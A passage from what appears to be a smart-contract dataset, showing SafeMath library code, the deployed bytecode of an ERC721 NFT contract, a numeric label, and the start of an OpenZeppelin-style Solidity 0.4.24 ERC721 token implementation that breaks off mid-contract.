function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
| 0x608060405234801561001057600080fd5b5060043610610149576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100ca578063a22cb4651161008e578063a22cb46514610361578063b88d4fde1461037d578063c87b56dd14610399578063e985e9c5146103c9578063f2fde38b146103f957610149565b806370a08231146102bb578063715018a6146102eb5780638da5cb5b146102f557806395d89b4114610313578063a0712d681461033157610149565b80632a55205a116101115780632a55205a1461020457806342842e0e1461023557806356200819146102515780635b8d02d71461026d5780636352211e1461028b57610149565b806301ffc9a71461014e57806306fdde031461017e578063081812fc1461019c578063095ea7b3146101cc57806323b872dd146101e8575b600080fd5b61016860048036038101906101639190611fd4565b610415565b6040516101759190612462565b60405180910390f35b610186610492565b604051610193919061247d565b60405180910390f35b6101b660048036038101906101b19190612026565b610524565b6040516101c391906123d2565b60405180910390f35b6101e660048036038101906101e19190611f98565b6105a9565b005b61020260048036038101906101fd9190611e92565b6106c1565b005b61021e6004803603810190610219919061204f565b610721565b60405161022c929190612439565b60405180910390f35b61024f600480360381019061024a9190611e92565b61076f565b005b61026b60048036038101906102669190611e2d565b61078f565b005b61027561084f565b60405161028291906123d2565b60405180910390f35b6102a560048036038101906102a09190612026565b610875565b6040516102b291906123d2565b60405180910390f35b6102d560048036038101906102d09190611e2d565b610927565b6040516102e291906126bf565b60405180910390f35b6102f36109df565b005b6102fd610b1c565b60405161030a91906123d2565b60405180910390f35b61031b610b46565b604051610328919061247d565b60405180910390f35b61034b60048036038101906103469190612026565b610bd8565b60405161035891906126bf565b60405180910390f35b61037b60048036038101906103769190611f5c565b610c3d565b005b61039760048036038101906103929190611ee1565b610dbe565b005b6103b360048036038101906103ae9190612026565b610e20565b6040516103c0919061247d565b60405180910390f35b6103e360048036038101906103de9190611e56565b610ec7565b6040516103f09190612462565b60405180910390f35b610413600480360381019061040e9190611e2d565b610f5b565b005b6000632a55205a7c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061048b575061048a82611107565b5b9050919050565b6060600080546104a19061293e565b80601f01602080910402602001604051908101604052809291908181526020018280546104cd9061293e565b801561051a5780601f106104ef5761010080835404028352916020019161051a565b820191906000526020600020905b8154815290600101906020018083116104fd57829003601f168201915b5050505050905090565b600061052f826111e9565b61056e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610565906125ff565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006105b482610875565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9061267f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610644611255565b73ffffffffffffffffffffffffffffffffffffffff16148061067357506106728161066d611255565b610ec7565b5b6106b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a99061257f565b60405180910390fd5b6106bc838361125d565b505050565b6106d26106cc611255565b82611316565b610711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107089061269f565b60405180910390fd5b61071c8383836113f4565b505050565b600080600061073d610735856101f4611650565b612710611666565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168192509250509250929050565b61078a83838360405180602001604052806000815250610dbe565b505050565b610797611255565b73ffffffffffffffffffffffffffffffffffffffff166107b5610b1c565b73ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108029061261f565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561091e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610915906125bf565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f9061259f565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109e7611255565b73ffffffffffffffffffffffffffffffffffffffff16610a05610b1c565b73ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a529061261f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610b559061293e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b819061293e565b8015610bce5780601f10610ba357610100808354040283529160200191610bce565b820191906000526020600020905b815481529060010190602001808311610bb157829003601f168201915b5050505050905090565b600060018210158015610bec5750600a8211155b610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c229061253f565b60405180910390fd5b610c35338361167c565b819050919050565b610c45611255565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa9061251f565b60405180910390fd5b8060056000610cc0611255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610d6d611255565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610db29190612462565b60405180910390a35050565b610dcf610dc9611255565b83611316565b610e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e059061269f565b60405180910390fd5b610e1a8484848461169a565b50505050565b6060610e2b826111e9565b610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e619061265f565b60405180910390fd5b6000610e746116f6565b90506000815111610e945760405180602001604052806000815250610ebf565b80610e9e84611716565b604051602001610eaf9291906123ae565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610f63611255565b73ffffffffffffffffffffffffffffffffffffffff16610f81610b1c565b73ffffffffffffffffffffffffffffffffffffffff1614610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce9061261f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e906124bf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806111d257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806111e257506111e1826118e2565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166112d083610875565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611321826111e9565b611360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113579061255f565b60405180910390fd5b600061136b83610875565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806113da57508373ffffffffffffffffffffffffffffffffffffffff166113c284610524565b73ffffffffffffffffffffffffffffffffffffffff16145b806113eb57506113ea8185610ec7565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661141482610875565b73ffffffffffffffffffffffffffffffffffffffff161461146a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114619061263f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d1906124ff565b60405180910390fd5b6114e583838361194c565b6114f060008261125d565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115409190612854565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115979190612773565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000818361165e91906127fa565b905092915050565b6000818361167491906127c9565b905092915050565b611696828260405180602001604052806000815250611951565b5050565b6116a58484846113f4565b6116b1848484846119ac565b6116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e79061249f565b60405180910390fd5b50505050565b6060604051806060016040528060268152602001612fc660269139905090565b6060600082141561175e576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506118dd565b600082905060005b60008214611790578080611779906129a1565b915050600a8261178991906127c9565b9150611766565b60008167ffffffffffffffff8111156117d2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156118045781602001600182028036833780820191505090505b5090505b600085146118d65760018261181d9190612854565b9150600a8561182c91906129ea565b60306118389190612773565b7f010000000000000000000000000000000000000000000000000000000000000002818381518110611893577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856118cf91906127c9565b9450611808565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b505050565b61195b8383611b7b565b61196860008484846119ac565b6119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e9061249f565b60405180910390fd5b505050565b60006119cd8473ffffffffffffffffffffffffffffffffffffffff16611d49565b15611b6e578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026119f6611255565b8786866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401611a3494939291906123ed565b602060405180830381600087803b158015611a4e57600080fd5b505af1925050508015611a7f57506040513d601f19601f82011682018060405250810190611a7c9190611ffd565b60015b611b02573d8060008114611aaf576040519150601f19603f3d011682016040523d82523d6000602084013e611ab4565b606091505b50600081511415611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19061249f565b60405180910390fd5b805181602001fd5b63150b7a027c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611b73565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be2906125df565b60405180910390fd5b611bf4816111e9565b15611c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2b906124df565b60405180910390fd5b611c406000838361194c565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c909190612773565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6000611d6f611d6a846126ff565b6126da565b905082815260208101848484011115611d8757600080fd5b611d928482856128fc565b509392505050565b600081359050611da981612f69565b92915050565b600081359050611dbe81612f80565b92915050565b600081359050611dd381612f97565b92915050565b600081519050611de881612f97565b92915050565b600082601f830112611dff57600080fd5b8135611e0f848260208601611d5c565b91505092915050565b600081359050611e2781612fae565b92915050565b600060208284031215611e3f57600080fd5b6000611e4d84828501611d9a565b91505092915050565b60008060408385031215611e6957600080fd5b6000611e7785828601611d9a565b9250506020611e8885828601611d9a565b9150509250929050565b600080600060608486031215611ea757600080fd5b6000611eb586828701611d9a565b9350506020611ec686828701611d9a565b9250506040611ed786828701611e18565b9150509250925092565b60008060008060808587031215611ef757600080fd5b6000611f0587828801611d9a565b9450506020611f1687828801611d9a565b9350506040611f2787828801611e18565b925050606085013567ffffffffffffffff811115611f4457600080fd5b611f5087828801611dee565b91505092959194509250565b60008060408385031215611f6f57600080fd5b6000611f7d85828601611d9a565b9250506020611f8e85828601611daf565b9150509250929050565b60008060408385031215611fab57600080fd5b6000611fb985828601611d9a565b9250506020611fca85828601611e18565b9150509250929050565b600060208284031215611fe657600080fd5b6000611ff484828501611dc4565b91505092915050565b60006020828403121561200f57600080fd5b600061201d84828501611dd9565b91505092915050565b60006020828403121561203857600080fd5b600061204684828501611e18565b91505092915050565b6000806040838503121561206257600080fd5b600061207085828601611e18565b925050602061208185828601611e18565b9150509250929050565b61209481612888565b82525050565b6120a38161289a565b82525050565b60006120b482612730565b6120be8185612746565b93506120ce81856020860161290b565b6120d781612ad7565b840191505092915050565b60006120ed8261273b565b6120f78185612757565b935061210781856020860161290b565b61211081612ad7565b840191505092915050565b60006121268261273b565b6121308185612768565b935061214081856020860161290b565b80840191505092915050565b6000612159603283612757565b915061216482612ae8565b604082019050919050565b600061217c602683612757565b915061218782612b37565b604082019050919050565b600061219f601c83612757565b91506121aa82612b86565b602082019050919050565b60006121c2602483612757565b91506121cd82612baf565b604082019050919050565b60006121e5601983612757565b91506121f082612bfe565b602082019050919050565b6000612208601083612757565b915061221382612c27565b602082019050919050565b600061222b602c83612757565b915061223682612c50565b604082019050919050565b600061224e603883612757565b915061225982612c9f565b604082019050919050565b6000612271602a83612757565b915061227c82612cee565b604082019050919050565b6000612294602983612757565b915061229f82612d3d565b604082019050919050565b60006122b7602083612757565b91506122c282612d8c565b602082019050919050565b60006122da602c83612757565b91506122e582612db5565b604082019050919050565b60006122fd602083612757565b915061230882612e04565b602082019050919050565b6000612320602983612757565b915061232b82612e2d565b604082019050919050565b6000612343602f83612757565b915061234e82612e7c565b604082019050919050565b6000612366602183612757565b915061237182612ecb565b604082019050919050565b6000612389603183612757565b915061239482612f1a565b604082019050919050565b6123a8816128f2565b82525050565b60006123ba828561211b565b91506123c6828461211b565b91508190509392505050565b60006020820190506123e7600083018461208b565b92915050565b6000608082019050612402600083018761208b565b61240f602083018661208b565b61241c604083018561239f565b818103606083015261242e81846120a9565b905095945050505050565b600060408201905061244e600083018561208b565b61245b602083018461239f565b9392505050565b6000602082019050612477600083018461209a565b92915050565b6000602082019050818103600083015261249781846120e2565b905092915050565b600060208201905081810360008301526124b88161214c565b9050919050565b600060208201905081810360008301526124d88161216f565b9050919050565b600060208201905081810360008301526124f881612192565b9050919050565b60006020820190508181036000830152612518816121b5565b9050919050565b60006020820190508181036000830152612538816121d8565b9050919050565b60006020820190508181036000830152612558816121fb565b9050919050565b600060208201905081810360008301526125788161221e565b9050919050565b6000602082019050818103600083015261259881612241565b9050919050565b600060208201905081810360008301526125b881612264565b9050919050565b600060208201905081810360008301526125d881612287565b9050919050565b600060208201905081810360008301526125f8816122aa565b9050919050565b60006020820190508181036000830152612618816122cd565b9050919050565b60006020820190508181036000830152612638816122f0565b9050919050565b6000602082019050818103600083015261265881612313565b9050919050565b6000602082019050818103600083015261267881612336565b9050919050565b6000602082019050818103600083015261269881612359565b9050919050565b600060208201905081810360008301526126b88161237c565b9050919050565b60006020820190506126d4600083018461239f565b92915050565b60006126e46126f5565b90506126f08282612970565b919050565b6000604051905090565b600067ffffffffffffffff82111561271a57612719612aa8565b5b61272382612ad7565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061277e826128f2565b9150612789836128f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127be576127bd612a1b565b5b828201905092915050565b60006127d4826128f2565b91506127df836128f2565b9250826127ef576127ee612a4a565b5b828204905092915050565b6000612805826128f2565b9150612810836128f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561284957612848612a1b565b5b828202905092915050565b600061285f826128f2565b915061286a836128f2565b92508282101561287d5761287c612a1b565b5b828203905092915050565b6000612893826128d2565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561292957808201518184015260208101905061290e565b83811115612938576000848401525b50505050565b6000600282049050600182168061295657607f821691505b6020821081141561296a57612969612a79565b5b50919050565b61297982612ad7565b810181811067ffffffffffffffff8211171561299857612997612aa8565b5b80604052505050565b60006129ac826128f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129df576129de612a1b565b5b600182019050919050565b60006129f5826128f2565b9150612a00836128f2565b925082612a1057612a0f612a4a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f496e76616c696420746f6b656e20696400000000000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b612f7281612888565b8114612f7d57600080fd5b50565b612f898161289a565b8114612f9457600080fd5b50565b612fa0816128a6565b8114612fab57600080fd5b50565b612fb7816128f2565b8114612fc257600080fd5b5056fe68747470733a2f2f737761726b2e6172742f6170692f74686566696e6765727072696e74732fa2646970667358221220054637b23770d6f43690354d441b7f38a162ac5477fc9ce05615e93aee122d4e64736f6c63430008020033 | [
5
] |
0xf354d96542dab21c71b7a100b7ba9bbd56fd9f77 | pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
